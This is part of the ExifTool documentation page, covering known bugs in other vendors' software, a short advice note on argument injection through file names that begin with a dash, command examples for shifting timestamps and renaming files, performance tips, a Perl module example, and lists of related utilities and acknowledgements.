  • Memory available to ExifTool in the Windows EXE version is limited to a few hundred MB. This limitation has been known to cause unreasonably long processing times (almost 7 minutes) for some large EPS files (> 200 MB) which are processed much faster by the Perl version (< 6 seconds).
  • Apple Spotlight and Preview (OS X 10.8.5) and Adobe Photoshop CC (version 14.0) ignore XMP in PNG images if it comes after the image data, which is where ExifTool adds new XMP. This should be considered as a bug in the Apple and Adobe software since XMP is allowed to exist after the image data according to the XMP and PNG specifications. [ExifTool 9.40 provides the PNGEarlyXMP API option to allow writing XMP before the IDAT chunk, but there are caveats associated with its use]
  • There is a bug in the Apple RAW file support (OS X 10.4.11) which prevents some edited Pentax PEF images from being displayed properly. Other software such as the Pentax Silkypix software and dcraw have no problems with these images. [This bug is fixed in OS X 10.5.4]
  • There is a bug in a number of Adobe utilities which causes some edited Sony ARW images to be displayed with the wrong tone curve. This problem has been observed in Photoshop CS4 Camera Raw 5.6, DNG Converter 5.6 and Lightroom 2.6 with ARW images from the A500, A550, A700, A850 and A900. Other software such as the Sony IDC utility, Apple RAW utilities, dcraw and Capture One have no problems with edited images. [This bug is fixed in Camera Raw 6.3 and LR 3.3]

Security Issues

Some ExifTool options (-if, -p, and copying arguments like "-DSTTAG<STR") have the ability to execute Perl code from within command-line arguments. This may be a security problem if ExifTool is executed from another application that blindly passes untrusted file names on the command line (since they may be interpreted as ExifTool options if they begin with a dash). To be secure, the calling application must ensure that input file names do not start with a dash (U+002D) or a Unicode minus sign (U+2212). The easiest way to accomplish this is to prefix input file names with a known directory name, eg.) "./FILENAME".

Date/Time Shift Feature

Have you ever forgotten to set the date/time on your digital camera before taking a bunch of pictures? ExifTool has a time shift feature that makes it easy to apply a batch fix to the timestamps of the images (eg. change the "Date Picture Taken" reported by Windows Explorer). Say for example that your camera clock was reset to 2000:01:01 00:00:00 when you put in a new battery at 2005:11:03 10:48:00. Then all of the pictures you took subsequently have timestamps that are wrong by 5 years, 10 months, 2 days, 10 hours and 48 minutes. To fix this, put all of the images in the same directory ("DIR") and run exiftool:
exiftool "-DateTimeOriginal+=5:10:2 10:48:0" DIR
The example above changes only the DateTimeOriginal tag, but any writable date or time tag can be shifted, and multiple tags may be written with a single command line. Commonly, in JPEG images, the DateTimeOriginal, CreateDate and ModifyDate values must all be changed. For convenience, a shortcut tag called AllDates has been defined to represent these three tags. So, for example, if you forgot to set your camera clock back 1 hour at the end of daylight savings time in the fall, you can fix the images with:
exiftool -AllDates-=1 DIR
See Image::ExifTool::Shift.pl (download in PDF format) for details about the syntax of the time shift string.

Renaming and/or Moving Files

By writing a new value to the FileName and/or Directory tags, files can be renamed and/or moved to different directories. This can be a very powerful tool in combination with the -d (date format) option for organizing images by date/time. For example, the following command renames all images in directory "DIR" according to the individual file's creation date in the form "YYYYmmdd_HHMMSS.ext".
exiftool "-FileName<CreateDate" -d "%Y%m%d_%H%M%S.%%e" DIR
Or a new directory can be specified by setting the value of the Directory tag. For example, the following command moves all images originally in directory "DIR" into a directory hierarchy organized by year/month/day:
exiftool "-Directory<DateTimeOriginal" -d "%Y/%m/%d" DIR
Read here for more details about this powerful feature.

Improving Performance

There is a significant overhead in loading ExifTool, so performance may be greatly improved by taking advantage of ExifTool's batch processing capabilities (the ability to process multiple files or entire directories with a single command) to reduce the number of executed commands when performing complex operations or processing multiple files. [One exiftool user documented a 60x speed increase by processing a large number of files with a single command instead of running exiftool separately on each file.] Also, the -execute option may be used to perform multiple independent operations with a single invocation of exiftool, and together with the -stay_open option provides a method for calling applications to avoid this startup overhead.
The processing speed of ExifTool can be improved when extracting information by reducing the amount of work that it must do. Decrease the number of extracted tags by specifying them individually (-TAG) or by group (-GROUP:all), and disable the composite tags (-e) and the print conversions (-n) if these features aren't required. Note that the exclude options (-x or --TAG) are not very efficient, and may have a negative impact on performance if a large number of tags are excluded individually.
The -fast option can significantly increase speed when extracting information from JPEG images which are piped across a slow network connection. However, with this option any information in a JPEG trailer is not extracted. For more substantial speed benefits, -fast2 may be used to also avoid extracting MakerNote information if this is not required.
When writing, avoid copying tags (with -tagsFromFile) or using the -if or -fileOrder option because these will add the extra step of extracting tags from the file. Without these the write operation is accomplished with a single pass of each file.
However, note that when the -csv option is used, information from all files is buffered in memory before the CSV output is written. This may be very memory intensive and result in poor performance when reading a large number of files in a single command.

The Image::ExifTool Perl Library Module

The "exiftool" script provides a command-line interface to the Image::ExifTool Perl library module which is part of the ExifTool distribution. The Image::ExifTool module can be used in any Perl script to provide easy access to meta information. Here is an example of a very simple script that uses Image::ExifTool to print out all recognized meta information in a file:
#!/usr/bin/perl -w
use Image::ExifTool ':Public';
my $file = shift or die "Please specify filename";
my $info = ImageInfo($file);
foreach (keys %$info) {
    print "$_ : $info->{$_}\n";
}
Note that some tag values may be returned as SCALAR references indicating binary data. The simple script above does not handle this case.
See the Image::ExifTool Documentation for more details.

Additional Documentation and Resources

User-contributed Documentation

Related Utilities

Below are some free utilities which take advantage of the ExifTool engine:
Windows
  • ExifTool GUI for Windows: GUI for viewing meta information with some editing features
  • Exif Stats Utility: Analyzes images to tabulate apertures, exposure times, etc
  • Auto ISO Tool: GUI front-end for ExifTool to patch Canon ISO information
  • ExifAuto: GUI front-end for ExifTool to perform simple operations
  • GeoSetter: Utility for showing and changing geo data of image files
  • ExifMixer: GUI extension for the exiftool command-line interface
  • ExifDropper: Graphical front-end for ExifTool with drag-and-drop
  • GPStamper Geotagger: A simple Windows GUI front end for geotagging images
  • AvPicFaceXmpTagger: Write Picasa 3.5 face recognition information as XMP to your images
  • FileTagSleuth: MP3, ID3 and EXIF viewer
  • Exif Copier: Copy Exif data between sets of multiple images
  • ExifyMe: Restore Exif metadata from an original image
  • PhotoMove: Automatically move photos to directories or folders based on Exif date taken
  • TinyExif: Simple Windows GUI for ExifTool written in Python using the Qt4 toolkit
  • GUI2 for ExifTool: An ExifTool GUI with built-in editor and browser
  • AutoJpegTrunk: Tool to remove all metadata from JPEG images
  • AdvancedRenamer: Rename files and folders from metadata
  • Proxel EXIF Tool: Photoshop plugin based on ExifTool
  • EXIFCopy: Copy all EXIF information between files
Mac OS X
  • Download a stand-alone droplet to extract preview images from RAW files (thanks to Brett Gross)
  • Download three droplets to extract information [exiftool must be installed] (thanks to Rob Lewis)
  • Tierprogramm: Droplet to perform some basic operations
  • MacMetaMod: Droplet for adding Keywords to images
  • GPSPhotoLinker: Geotagging on the Mac
  • PhotoGPSEditor and PhotoInfoEditor: Geocoding utilities
  • MetaDataMover (source): GUI-based automator utility for moving/renaming images
  • CS1ToCR2: Utility that uses Sony GPS-CS1 log files to add GPS information to CR2 images
  • SetEXIFData: Utility to set EXIF data
  • Geotagger: Droplet for inserting GPS coordinates in your photos
  • Raw Photo Processor: Raw converter for Mac OS X
  • GraphicConverter: Full-featured image editor [noteworthy, but not free]
  • GeoTag: Geotagging application for iPhone and OS X
  • ImageFuser: Fuses multiple exposures of a scene into one image with improved detail/exposure
  • GeoNamesTagger: Docklet to easily update image metadata with location specific information
Linux
  • rawimage: A kfile plugin and thumbnail image handler for RAW formats
  • Photo related scripts: Includes EXIFInfo script to provide statistics from EXIF data
  • Hugin: Panorama photo stitcher
  • FotoPreProcessor: PyQt4-based frontend for exiftool to graphically edit metadata
  • ExZenToo: Script for basic ExifTool GUI using Zenity
  • PDFMted: A set of bash scripts for easy viewing and editing of PDF metadata
Multi-Platform
  • ImageIngester: Windows and Mac OS X image workflow automator
  • gpsPhoto: Geotag your images from a GPS (GPX) track log
  • renrot: Perl utility to perform various processing tasks on images
  • GPicSync: Windows/Linux utility to geocode photos from a GPX track log and create KML files
  • FlickFleck: Tool to transfer images from memory card, rotate, rename, and organize by date
  • Geotag: Open source Java-based geotagging application
  • PhotoGrok: Java-based GUI front-end for ExifTool to display images organized by any EXIF tag
  • XnView: View and convert graphic files
  • Mapivi: Open-source and cross-platform picture manager
  • ResourceSpace: Open source digital asset management system
  • fix_corrupted_nef: Utility to fix Nikon D4/D600/D800/D800E NEF images corrupted by Nikon Transfer 1
  • pyExifToolGUI: Python-based graphical frontend for ExifTool
  • MDQC: AVPreserve tool for metadata quality control across large numbers of digital assets
Online
Lightroom Plugins
  • Jeffrey's Geoencoding Plugin for Lightroom: Geoencode your photos from within Lightroom
  • Metadata Wrangler: Strip selected metadata components from images as they are exported
  • ExifMeta: Make all exif metadata available in Lightroom for lib filtering and smart collections
  • FullMetaExport: Export JPEG images from Lightroom with full metadata
  • LensTagger: Add EXIF information like aperture and focal length for manual lenses
  • DeAspect: Remove aspect ratio information from DNG, CR2 and ORF images to restore full image
Programming
  • C++ ExifTool: Performance-oriented C++ interface for the exiftool application (by Phil Harvey)
  • Download sample AppleScript to extract tags into AppleScript record (thanks to Rob Lewis)
  • Download example of a simple Visual C++ wrapper for exiftool (thanks Mark Borg and 黃瑞昌)
  • Download C# version of simple exiftool wrapper (thanks Willem Semmelink)
  • Download Visual Basic 6.0 example script v1.01 for reading tags with exiftool (thanks Michael Wandel)
  • Sample VB.NET subroutine to extract a preview image (thanks Claus Beckmann)
  • ExifToolIO: .NET wrapper for ExifTool, optimized for speed (using VB.NET)
  • ExifToolWrapper: .NET wrapper for ExifTool (using C#)
  • MiniExiftool: Ruby library wrapper for ExifTool
  • exiftoolr: Ruby wrapper for ExifTool
  • pyexiftool: Python wrapper for ExifTool
  • PHPExiftool: PHP wrapper for ExifTool (in development)
  • ExifTool_PHP_StayOpen: ExifTool PHP fast processing script using -stayOpen and Gearman
  • Moss: Collection of Java utilities which includes an exiftool interface
  • im4java: Java interface to ImageMagick, ExifTool, and other image utilities
  • Java ExifTool: Enhanced Java Integration for ExifTool
  • J-ExifTool: Open-source, cross platform Java7 library to read/write Exif tags in images
  • How to call ExifTool from Delphi, by Bogdan Hrastnik

Other Links

Boldly Go where No Man has Gone Before...

There is still much unknown information in the maker notes for many camera models. (To see this information, run exiftool with the -U option.) In this area, ExifTool is very much a collaborative effort, and development relies heavily on the input from camera owners to help decode new meta information. If you manage to figure out what any of it means, send me an e-mail (phil at owl.phy.queensu.ca) and I'll add your new discoveries to ExifTool. Many thanks to all who have helped so far...

Acknowledgements

Thanks to everyone who has sent in bug reports, comments, or suggestions, and special thanks to the following people for their valuable input and/or additions to the code:
  • Malcolm Wotton for his help with the D30 Custom Functions
  • David Anson for his help sorting out binary file problems on Windows
  • Leon Booyens for his suggestions
  • Dan Heller for his bug reports, detailed suggestions and guidance
  • Wayne Smith for his help figuring out the Pentax maker notes
  • Michael Rommel for his bug fixes and additions to the Canon maker notes
  • Joseph Heled for help figuring out some of the Nikon D70 maker notes
  • Joachim Loehr for adding the Casio type 2 maker notes
  • Greg Troxel for his suggestions and for adding ExifTool to pkgsrc
  • Thomas Walter for figuring out some Nikon tags
  • Brian Ristuccia for more information about some Nikon tags
  • Christian Koller for decoding the 20D custom functions
  • Matt Madrid for his testing and feedback
  • Tom Christiansen for his help decoding some Nikon tags
  • Markku Hänninen for help decoding tags for the Olympus E-1
  • Frank Ledwon for decoding many new Olympus tags
  • Robert Rottmerhusen for decoding many tricky Nikon lens data tags
  • Michael Tiemann for decoding a number of new Canon tags
  • Albert Bogner for his image samples, testing and useful suggestions
  • Rainer Hönle for decoding a number of new Canon 5D tags
  • Nilesh Patel for his help with the web page layout
  • Jens Duttke for his suggestions, bug reports and help decoding new tags
  • Dave Nicholson for decoding new tags in Pentax and Canon maker notes
  • Bogdan Hrastnik for his feedback, decoding efforts, user support and ExifTool GUI
  • Igal Milchtaich for decoding many Sony A100 tags
  • Laurent Clevy for his work analyzing Canon RAW images
  • Warren Hatch for extensive testing and decoding of Nikon D3 tags
  • Jos Roost for decoding many Sony tags for various models
And special thanks to my family for putting up with me and this time-consuming hobby of mine.

License

This is free software; you can redistribute it and/or modify it under the same terms as Perl itself.